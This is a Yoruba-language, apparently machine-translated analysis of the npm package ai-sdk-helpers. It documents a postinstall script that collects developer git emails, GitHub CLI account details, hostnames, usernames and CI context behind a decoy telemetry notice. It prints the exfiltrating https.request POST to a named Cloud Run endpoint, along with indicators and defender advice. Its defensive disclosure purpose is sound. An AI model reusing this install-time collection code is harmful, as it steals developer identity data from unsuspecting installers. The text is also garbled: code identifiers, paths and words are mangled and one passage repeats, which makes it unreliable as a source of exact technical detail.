TL; DR
Àpò npm kan ṣoṣo, àwọn olùrànlọ́wọ́-ai-sdk, gbé ara rẹ̀ kalẹ̀ gẹ́gẹ́ bí ohun èlò ìṣelọ́pọ́ fún Vercel AI SDK, tí ó ń pèsè ìtọ́pinpin iye owó, ìfàsẹ́yìn olùpèsè, àti àwọn olùrànlọ́wọ́ ṣíṣàn.
Àkọsílẹ̀ àkókò ìfisílé rẹ̀ bẹ̀rẹ̀ pẹ̀lú àsíá ìfihàn dídán tí ó ń ṣàpèjúwe àwọn àyẹ̀wò aláìlórúkọ, ní ìlérí pé kò sí koodu orísun, àmì, tàbí ìwé ẹ̀rí tí a lè fi ránṣẹ́, bíbọ̀wọ̀ fún DO_NOT_TRACK ìjáwọ́, àti sísopọ̀ mọ́ ojú ìwé ìlànà tẹlimétàrì kan.
Àkọsílẹ̀ kan náà náà ni ó ka ìdámọ̀ git ti olùgbékalẹ̀ náà, ìṣètò GitHub CLI, orúkọ olùgbàlejò ẹ̀rọ, orúkọ olùlò OS, ìwé àkójọ iṣẹ́, àti olùpèsè CI.
A fi data yẹn ranṣẹ gẹ́gẹ́ bí JSON sí ìparí Google Cloud Run, èyí tí ó ń ṣẹ̀dá àìbáramu tí ó hàn gbangba láàárín ìlànà telemetry tí a sọ àti àwọn pápá gidi tí a kó jọ.
A tẹ àkójọpọ̀ náà jáde ní àwọn ẹ̀yà méjìlélógún nínú ìbúgbà ìṣẹ́jú-àáyá 83 kan, àti pé ìwé ìfipamọ́ náà jẹ́ byte-for-byte kan náà ní gbogbo ẹ̀yà tí a fi àmì sí.
Méje nínú àwọn ẹ̀yà mẹ́jọ tí a ṣe àtúnyẹ̀wò rẹ̀ nípasẹ̀ wa pipeline Àwọn tí a gba àmì-ẹ̀yẹ náà láìṣe àṣeyọrí ni a gbà láti ọwọ́ ìpínsísọ ML nítorí pé ìṣètò ìfọwọ́sowọ́pọ̀-àmì-ìdámọ̀ràn náà dàbí ẹ̀rọ ìbánisọ̀rọ̀ tó tọ́.
A ṣe ìpínsípò ai-sdk-helpers gẹ́gẹ́ bí ìwà ìkà tí ó dá lórí ìkójọ ìdánimọ̀ olùgbékalẹ̀ àkókò ìfi sori ẹrọ àti ìyọkúrò.
Líle: gíga.
Anatomi ti fifi sori ẹrọ
{ "scripts": { "postinstall": "node scripts/postinstall.js" } } fifi sori ẹrọ lẹhin nṣiṣẹ laifọwọyi npm fi sori ẹrọ, kí a tó kóòdù ìpolówó èyíkéyìí nínú àwọn àpò náà wọlé. àwọn ìwé àfọwọ́kọ/postinstall.js ni ibi ti gbogbo ihuwasi akoko fifi sori ẹrọ naa ngbe.
Ó bẹ̀rẹ̀ pẹ̀lú ìdènà àkíyèsí àti àkíyèsí àkókò ìṣiṣẹ́ tí a kọ sínú àkọsílẹ̀ iṣẹ́ àgbékalẹ̀ orísun ṣíṣí sílẹ̀ tí ó ní ìpamọ́:
>Nígbà tí o bá fi ai-sdk-helpers sori ẹrọ, a máa ṣe àyẹ̀wò ìbáramu àyíká kíákíá kí a sì ròyìn àwọn àyẹ̀wò aláìlórúkọ… Ìdáhùn náà kò ní orúkọ aláìlórúkọ rárá — a máa kó ìpele rẹ, ẹ̀yà Node, àti hash ọ̀nà kan ti ìdámọ̀ ẹ̀rọ rẹ jọ. Kò sí kódù orísun, àmì, tàbí ìwé ẹ̀rí tí a lè fi ránṣẹ́ rí.
Ó tilẹ̀ so ẹnu-ọna ìjáde tí ó ń ṣiṣẹ́ pọ̀ mọ́ ara rẹ̀, koodu àkọ́kọ́ tí a lè ṣe nínú fáìlì náà:
if ( process.env.AI_SDK_HELPERS_TELEMETRY_DISABLED === "1" || process.env.DO_NOT_TRACK === "1" ) { process.exit(0); } Lílo ẹnu ọ̀nà yìí ní àkọ́kọ́ ni ohun tó mú kí àwọn tó kù kà á sí ohun tó bá ìfẹ́ mu: olùgbékalẹ̀ tó ń ṣètò `D_NOT_TRACK` Ó parí pẹ̀lú ìdákẹ́jẹ́ẹ́, ó sì parí àpò náà láti fi ọlá fún àdéhùn náà. Ìyọkúrò tí a fi ọlá fún jẹ́ òótọ́. Ohun tí ó ń wọlé, fún gbogbo ẹni tí kò bá ṣètò rẹ̀, ni àkójọpọ̀ tí a ṣàlàyé ní ìsàlẹ̀ yìí — kìí ṣe “pítímù kékeré,” ẹ̀yà Node, àti hash ọ̀nà kan ṣoṣo” àwọn orúkọ àkíyèsí náà.
Ní ìsàlẹ̀ ẹnu ọ̀nà yẹn, ìwé àfọwọ́kọ náà kó ẹrù iṣẹ́ kan jọ tí ó kọjá àpèjúwe yẹn dáadáa.
- *Gìdámọ̀ t.* ryanjuScmIdanimọ()` àwọn èdìdì `~.gitconfig`,`~.config/git/config`,àti iṣẹ́ àgbékalẹ̀ lọ́wọ́lọ́wọ́.ó/ṣètò`,ṣe àtúpalẹ̀ `[ser]` ìpín, ó sì dá àwọn tí a ṣètò padà commit imeeli. Tí fáìlì ìṣètò kò bá ní ìmeeli, ó máa padà sí `GT_AUTHOR_EMAIL`,`GT_COMMITTER_EMAIL`,àti `EAIL Àwọn oníyípadà àyíká. Ìwé àkọsílẹ̀ kan lókè iṣẹ́ náà gbé ìwé náà ka gẹ́gẹ́ bí ọ̀nà “láti yọ àwọn ìfisẹ́lé kúrò lórí àwọn ẹ̀rọ tí ẹni kan náà ní (fún àpẹẹrẹ kọ̀ǹpútà alágbèéká + CI)” — ète tí a sọ pé ó nílò ìdámọ̀ olùgbékalẹ̀ kọ̀ọ̀kan tí ó dúró ṣinṣin, èyí tí commit awọn ohun elo imeeli.
- *Gàkọọ́lẹ̀ tHub.* rsolveGitHubIdentity()` àwọn èdìdì `~.config/gh/hosts.yml` àti `~.config/gh/hosts.yaml` fáìlì ìṣètò tí GitHub CLI kọ nígbà tí olùgbékalẹ̀ kan bá jẹ́rìí sí i — àti regex-yọ `u kúròer:` nd `eailera:` ields. Fáìlì yẹn tún ń tọ́jú àmì GitHub OAuth; regex ìwé àfọwọ́kọ náà fojú sí orúkọ olùlò àti àwọn ìlà ìmeeli pàtó, kò sì yọ àmì náà jáde. Nítorí náà, ìbéèrè àsíá ìfihàn náà “kò sí àmì… tí a lè fi ránṣẹ́ láéláé” jẹ́ òótọ́ fún pápá kan náà nígbà tí a bá ń ka àwọn àmì àkọọ́lẹ̀ tí ó yí i ká tí a sì ń fi ránṣẹ́.
- *Hìka ọwọ́ st àti CI.* Lẹ́yìn náà ni ìwé àfọwọ́kọ náà kó `o.orúkọ olùgbàlejò()`,`o.userInfo().orúkọ olùlò`,Ẹ̀yà Node, pẹpẹ àti architecture, `pocess.cwd()`,àti àmì olùpèsè CI tí a yanjú nípa ṣíṣàyẹ̀wò àwọn oníyípadà àyíká fún àwọn olùpèsè mẹ́jọ (GitHub Actions, GitLab CI, Jenkins, CircleCI, Travis, Buildkite, àti àwọn àsíá CI generic méjì). Àkójọ olùpèsè náà kà gẹ́gẹ́ bí àkójọpọ̀ ibi tí ìwé àfọwọ́kọ náà retí láti ṣe — àwọn ìkarahun ìbáṣepọ̀ àti ìkọ́lé aládàáṣe pipelinebakanna.
Gbogbo àwọn wọ̀nyí ni a kó jọ sínú `d kan ṣoṣoàwọn agnostic ohun kan, pẹlu awọn aaye olupilẹṣẹ kọọkan ti a gba labẹ `iohun kan ey àti dátà olùgbàlejò lábẹ́ `ràkókò nd `cntext` eys, lẹ́yìn náà ni a ṣe àkójọpọ̀ rẹ̀ ní ìpele-ìtẹ̀léra àti tí a fi ránṣẹ́:
const req = https.request( { hostname: "npm-package-logger-228835561205.europe-west1.run.app", path: "/", method: "POST", headers: { "Content-Type": "application/json" }, timeout: 5000, }, () => {} ); req.on("error", () => {}); req.write(body); req.end(); A ti da idahun rẹ̀ nù, a sì ti gbé gbogbo àṣìṣe mì — àkíyèsí kan sọ pé “telemetry kò gbọdọ̀ ba fifi sori ẹrọ jẹ́.” Orúkọ olùgbàlejò ìparí náà ń ṣàfihàn iṣẹ́ Google Cloud Run nínú `eokùn-ìwọ̀-oòrùn1 ogun.
Ààlà náà ni ìtàn náà. Àmì ìdánimọ̀ náà dárúkọ àwọn ẹ̀ka mẹ́ta ti dátà — platform, version Node, machine-ridentifier hash. Owó tí a san fi git gidi ti olùgbékalẹ̀ ránṣẹ́ commit ìmeeli, orúkọ ìforúkọsílẹ̀ àti ìmeeli GitHub wọn, orúkọ olùgbàlejò ẹ̀rọ wọn àti orúkọ àkọọ́lẹ̀ OS, ipa ọ̀nà iṣẹ́ wọn, àti àyíká CI wọn.rson àti àwọn àkọọ́lẹ̀ wọn* tun gangan awọn aaye ti ifihan naa ko silẹ.
README náà ń fi kún férémù láti apá kejì. Apá “Telemetry” rẹ̀ tún sọ pé a kò mọ orúkọ ẹni, ó sì so ọ̀rọ̀ náà `D pọ̀ mọ́ra._NOT_TRACK` o `cnsoledonottrack.com`,ojú ìwé àwùjọ gidi tó ń ṣàkọsílẹ̀ àdéhùn ìjáde kúrò — yíyá àṣírí tí a mọ̀ standard láti jẹ́ kí àkíyèsí náà kà gẹ́gẹ́ bí ìṣe déédé.
Ago
Àwárí àpò kan ṣoṣo ni èyí pẹ̀lú ìtàn ìtẹ̀jáde kúkúrú àti ìwúwo. Kò sí ìpolongo ọ̀sẹ̀ púpọ̀ láti tọ́pasẹ̀ — gbogbo ìpele ìtẹ̀jáde náà ni a tẹ̀ síwájú ní iyàrá ẹ̀rọ.
| Nigbawo (UTC) | iṣẹlẹ |
|---|---|
| 2026-06-03 20:31:20 | Àkọ́kọ́ (0.1.0) tí a tẹ̀ jáde sí npm. |
| 2026-06-03 20:31:20 – 20:32:43 | Gbogbo awọn ẹya 22 (0.1.0 nipasẹ 1.4.2) tí a tẹ̀ jáde nínú ìbúgbàù aládàáni ìṣẹ́jú mẹ́tàlélọ́gọ́rin. |
| 2026-06-04 | Àwọn ẹ̀yà mẹ́jọ tí a fi àmì ìwádìí hàn; ìwádìí ọwọ́ jẹ́rìí sí gbígbà ìdánimọ̀ àti ìyọkúrò nígbà tí a fi ń fi sori ẹ̀rọ. Àpò náà wà láàyè lórí npm ní àkókò ìwádìí náà. |
Fèrèsé ìṣẹ́jú-àáyá 83 lórí àwọn ẹ̀yà ìtumọ̀ 22 fúnrarẹ̀ jẹ́ àmì ìhùwàsí: àtẹ̀gùn ẹ̀yà náà (`0)1.0`,`01.1`,… `14.2`)fi ojú iṣẹ́ àgbékalẹ̀ kan tí a ń ṣe àkóso rẹ̀ hàn pẹ̀lú ìtàn ìtújáde kan, tí a ṣe ní ìgbà kan ṣoṣo. Ìwé ìkọ̀wé ìfisẹ́lẹ̀ kò yípadà lórí àtẹ̀gùn yẹn — wo ìsàlẹ̀.
Awọn afihan ti adehun
Àkókò ìfisílé náà dọ́gba ní gbogbo àtẹ̀jáde tí a tẹ̀ jáde.ff` f `sripts/postinstall.js` láàrin ẹ̀yà `02.1' àti ẹ̀yà `14.2' kò ní ìyàtọ̀ kankan; ìhùwàsí náà jẹ́ ìka ọwọ́ kan ṣoṣo tí a ti pinnu, kì í ṣe ẹrù iṣẹ́ tí ń yípadà.
Network
Fèrèsé ìṣẹ́jú-àáyá 83 lórí àwọn ẹ̀yà ìtumọ̀ 22 fúnrarẹ̀ jẹ́ àmì ìhùwàsí: àtẹ̀gùn ẹ̀yà náà (`0)1.0`,`01.1`,… `14.2`)fi ojú iṣẹ́ àgbékalẹ̀ kan tí a ń ṣe àkóso rẹ̀ hàn pẹ̀lú ìtàn ìtújáde kan, tí a ṣe ní ìgbà kan ṣoṣo. Ìwé ìkọ̀wé ìfisẹ́lẹ̀ kò yípadà lórí àtẹ̀gùn yẹn — wo ìsàlẹ̀.
Awọn afihan ti adehun
Àkókò ìfisílé náà dọ́gba ní gbogbo àtẹ̀jáde tí a tẹ̀ jáde.ff` f `sripts/postinstall.js` láàrin ẹ̀yà `02.1' àti ẹ̀yà `14.2' kò ní ìyàtọ̀ kankan; ìhùwàsí náà jẹ́ ìka ọwọ́ kan ṣoṣo tí a ti pinnu, kì í ṣe ẹrù iṣẹ́ tí ń yípadà.
Network
| Atọka | ipa |
|---|---|
npm-package-logger-228835561205.europe-west1.run.app | Ibùdó ìparí Exfiltration ń gba àwọn ìbéèrè HTTPS POST pẹ̀lú àwọn ẹrù JSON. A gbàlejò lórí Google Cloud Run nínú europe-west1 agbegbe. |
Awọn amayederun Decoy
| Atọka | ipa |
|---|---|
ai-sdk.guide | Oju-ile akopọ ati oju opo wẹẹbu laaye ti o ṣe atilẹyin idanimọ onkọwe "Itọsọna SDK AI". |
ai-sdk.guide/telemetry | URL ìlànà Telemetry tí a tọ́ka sí nínú àkíyèsí ìṣípayá àkókò fífi sori ẹrọ. |
hello@ai-sdk.guide | Imeeli onkọ̀wé ti kede ni package.json. |
github.com/ai-sdk-guide/ai-sdk-helpers | Ibi ipamọ orisun ti a kede nipasẹ package naa. |
Awọn faili ti a ka ni akoko fifi sori ẹrọ
- -.gitconfig`,`~.config/git/config`,`<wd>/.git/config` git `[ser]` imeeli
- - .config/gh/hosts.yml`,`~.config/gh/hosts.yaml` GitHub CLI `uer` `ealáìsàn
Awọn ibuwọlu ihuwasi
- – m `pstinstall` ook ń pe ìwé àfọwọ́kọ Node kan tí a so pọ̀
- – ẹnu-ọna ìjáde (`A_SDK_HELPERS_TELEMETRY_DISABLED`,`D_NOT_TRACK`)tí a gbé kalẹ̀ gẹ́gẹ́ bí ohun ìpamọ́, ṣáájú ìkójọ ìdánimọ̀
- – TPT HTTPS ti ohun JSON kan ti o ni imeeli git, idanimọ GitHub, orukọ olupin, orukọ olumulo OS, cwd, ati aami CI
- – iwe afọwọkọ fifi sori ẹrọ te-idana kọja akaba ẹya ti a tẹjade ni iyara
Ìfọkànsí àti Ìhùwàsí tí a Ṣàkíyèsí
A kò fi ohunkóhun kún ohun tí àkójọpọ̀ àti àkọsílẹ̀ ìforúkọsílẹ̀ náà gbà.
Olùtọ́jú npm ti àkọsílẹ̀ ni àkọọ́lẹ̀ `aàwọnpẹ̀lú àdírẹ́sì `aiel@vigilance.security`.Àkọsílẹ̀ ìforúkọsílẹ̀ náà kọ ìmeeli náà sílẹ̀ gẹ́gẹ́ bí èyí tí a kò tíì fìdí rẹ̀ múlẹ̀ àti ìdánimọ̀ ìdarí orísun àkọọ́lẹ̀ náà gẹ́gẹ́ bí èyí tí a kò tíì fìdí rẹ̀ múlẹ̀.ckage.json`,lọtọ̀, ó gbé òǹkọ̀wé náà kalẹ̀ gẹ́gẹ́ bí “Ìtọ́sọ́nà AI SDK`ello@ai-sdk.guide>`”pẹ̀lú ojú-ìwé ojú-ìwé ti `a-sdk.itọsọna` àti ibi ìpamọ́ orísun kan lábẹ́ `gàjọ thub.com/ai-sdk-guide`. Agbègbè ìmeeli ti àkọọ́lẹ̀ ìtẹ̀wé náà (`vigilance.security`)àti ìdámọ̀ òǹkọ̀wé inú àpò náà (`a-sdk.itọsọna`)jẹ́ àwọn agbègbè tó yàtọ̀ síra.
Àwọn `a-sdk.itọsọna` ó wà láàyè ó sì ń dáhùn, àti `/elemetry` ath pinnu — ìdámọ̀ ẹ̀tàn náà ni a fi ìrísí wẹ́ẹ̀bù tí a lè dé dípò ìjápọ̀ tí kò dára ṣe àtìlẹ́yìn rẹ̀, èyí tí ó gbé ìgbàgbọ́ nínú ètò ìṣiṣẹ́ náà ga.
**Agbara ti a ṣe akiyesi.** Ni akoko fifi sori ẹrọ, package naa ka idanimọ olupilẹṣẹ ati awọn faili iṣeto akọọlẹ, ika ọwọ ati agbegbe CI, o si fi abajade ranṣẹ si opin ti oniṣẹ ṣakoso, lakoko ti o nfihan akiyesi ti o ṣalaye eto data ti o kere ati ti a ko mọ. A ṣe apejuwe ihuwasi yii; a ko sọ idi fun rẹ. Awọn onkawe ti n ṣe ayẹwo package naa - pẹlu ẹgbẹ eyikeyi ti o mọ idanimọ atẹjade - yẹ ki o ṣe ayẹwo aiṣedeede ti o han laarin awọn sisan data ti a sọ ati gangan.
Ipa, awọn aṣa, ati itọsọna fun awọn olugbeja
Ẹni tí a fi hàn. Ẹnikẹ́ni tí ó bá fi sori ẹrọ àwọn olùrànlọ́wọ́-ai-sdk — taara tabi gẹgẹbi igbẹkẹle igba diẹ — n ṣiṣẹ ikojọpọ lori ẹrọ yẹn. Nitori pe okunfa naa jẹ fifi sori ẹrọ lẹhin, kò sí dandan kí a kó koodu ìkàwé tí a polówó rẹ̀ wọlé kí ìṣàn dátà náà tó lè ṣẹlẹ̀; fífi sori ẹrọ nìkan ṣoṣo tó. Àwọn àyíká tí ó níye lórí jùlọ ni àwọn ibi iṣẹ́ olùgbéjáde pẹ̀lú ìdámọ̀ git tí a ṣètò àti GitHub CLI tí a ti fọwọ́ sí, àti àwọn olùṣiṣẹ́ CI, níbi tí ìwádìí olùpèsè CI ti ìwé script náà fihàn pé a retí pé kí ìkójọpọ̀ náà ṣiṣẹ́ nínú ìkọ́lé pipelines bakanna bi lori awọn kọǹpútà alágbèéká.
Ohun tí ó ń ṣí payá. Kì í ṣe àṣírí ìlò nínú ọ̀ràn gbogbogbò — ẹrù iṣẹ́ náà dá lórí idanimo: ti olùgbékalẹ̀ commit imeeli, orukọ ati imeeli akọọlẹ GitHub wọn, awọn orukọ ẹrọ ati akọọlẹ, ati ipa ọna iṣẹ akanṣe naa. Iyẹn jẹ ṣaajucisMáàpù ẹni tí ó fi àpò náà sí, lórí ẹ̀rọ wo, nínú ibi ìkópamọ́ wo, àti lábẹ́ ètò CI wo. Fún àjọ kan, ìwọ̀nba àkọsílẹ̀ bẹ́ẹ̀ tí a kó jọ yóò ka àwọn onímọ̀ ẹ̀rọ àti àwọn ètò tí ó ń kọ́ ilé tí ó fa ìgbẹ́kẹ̀lé — tí ó wúlò gẹ́gẹ́ bí ohun àkọ́kọ́ sí ìgbòkègbodò tí a fojúsùn sí, bó tilẹ̀ jẹ́ pé ìwà ti àpò yìí dúró ní gbígbà àti gbígbé jáde.
Àṣà náà: telemetry gẹ́gẹ́ bí ìbòrí. Àwọn irinṣẹ́ olùgbékalẹ̀ tó bófin mu máa ń kó àwọn àyẹ̀wò ìfipamọ́ aláìlórúkọ jọ, àti àwọn ìlànà fún ṣíṣe é pẹ̀lú ọ̀wọ̀ — àkíyèsí ìṣípayá, DO_NOT_TRACK ọlá, àsíá ìjákulẹ̀, URL ìlànà — ni a mọ̀ dáadáa. àwọn olùrànlọ́wọ́-ai-sdk Ó ń tún gbogbo àwọn àdéhùn mẹ́rẹ̀ẹ̀rin náà ṣe ní òótọ́, ó sì ń lò wọ́n gẹ́gẹ́ bí ìdìpọ̀ fún ìkójọ ìdánimọ̀. Wíwà àsíá ìfọwọ́sowọ́pọ̀, ìjáde tí ó ń ṣiṣẹ́, tàbí ìjápọ̀ ìlànà ìpamọ́ kì í ṣe ẹ̀rí pé àpò kan ṣeé gbẹ́kẹ̀lé; àwọn ìṣàkóso wọ̀nyẹn kò wọ́n láti fara wé. Àyẹ̀wò tí ó ṣeé gbẹ́kẹ̀lé nìkan ni ohun tí kódì náà kà gan-an àti ibi tí ó ti fi ránṣẹ́ sí i ní gidi.
Àpò ìpamọ́ yìí tún ní ipa tí a lè wọ̀n lórí ìṣàfihàn aládàáṣe. pipeline àtúnyẹ̀wò, àwọn ọ̀rọ̀ inú ìwé àfọwọ́kọ install script, àwọn orúkọ pápá tí a ṣètò, àti ẹnu ọ̀nà ìjáde àṣàrò tí a gba àmì sí gẹ́gẹ́ bí telemetry lásán: méje nínú mẹ́jọ náà padà wá ko ṣe pataki láti inú ìpínsípà ML dípò ìkà. Àmì tí ó yanjú àìdájú kò sí nínú ìwé àròsọ náà — ó wà nínú àwọn fáìlì pàtó tí ìwé àròkọ náà ṣí (~/.gitconfig, ~/.config/gh/hosts.yml) àti ibi tí ó fi ránṣẹ́ sí. Olùṣàtúnyẹ̀wò, tàbí ẹni tí ó ń ṣe àtúnyẹ̀wò tàbí ènìyàn, tí ó bá ka ìṣípayá náà tí ó sì dúró níbẹ̀ yóò dé ìparí èrò tí kò tọ́; ìpinnu náà gbọ́dọ̀ wá láti inú àwọn òtítọ́ ìṣàn-dátà.
Itọsọna fun awọn olugbeja:
- Fi sori ẹrọ pẹlu awọn iwe afọwọkọ ti a ti mu ṣiṣẹ nipasẹ aiyipada — npm fi sori ẹrọ –ignore-scripts, tabi ṣeto ignore-scripts=òótọ́ in .npmrc kí o sì ṣe àwọn ìgbésẹ̀ ìkọ́lé tí a ti ṣàyẹ̀wò ní kedere. Èyí ń dínà fifi sori ẹrọ lẹhin-àkójọpọ̀ tí a gbé kalẹ̀ káàkiri gbogbogbòò.
- Má ṣe wo àwọn ìṣàkóso ìjáde kúrò gẹ́gẹ́ bí àmì ìgbẹ́kẹ̀lé. DO_NOT_TRACK Ṣàyẹ̀wò tàbí ìjápọ̀ “ìlànà ìbánisọ̀rọ̀” kò sọ ohunkóhun fún ọ nípa dátà tí ìwé àkọsílẹ̀ kan kó jọ nígbà tí a kò bá ṣètò ẹnu-ọ̀nà náà.
- Ka ìsopọ̀ install ki o to lo awọn package iranlọwọ AI-ecosystem. Aaye Vercel AI SDK jẹ ibi-afẹde ti o yara, ti o ni igbẹkẹle giga; fifi sori ẹrọ lẹhin ti o kan ~/.gitconfig or ~/.config/gh/ jẹ́ àmì tó ṣe kedere láìka bí a ṣe ń kọ àwọn ọ̀rọ̀ tó yí i ká sí.
- Ṣe àkíyèsí ìjáde àkókò ìkọ́lé. ÌWÉ ÌRÒYÌN HTTPS tó ń jáde nígbà npm fi sori ẹrọ, pàápàá jùlọ sí òpin iṣẹ́ ìkùukùu tuntun tí a pèsè, a lè rí i ní ìpele nẹ́tíwọ́ọ̀kì náà ó sì jẹ́ ibi ìwádìí tó lágbára fún àwọn àyíká CI.
- Máa kíyèsí àwọn àtẹ̀gùn ìtẹ̀síwájú. Àpò kan tí gbogbo ìtàn ìtumọ̀ rẹ̀ farahàn láàrín ìṣẹ́jú díẹ̀, pẹ̀lú ìwé ìkọ̀wé ìfisẹ́ tí kò yípadà, ń gbé ìtàn ìtọ́jú tí a ṣe kalẹ̀.





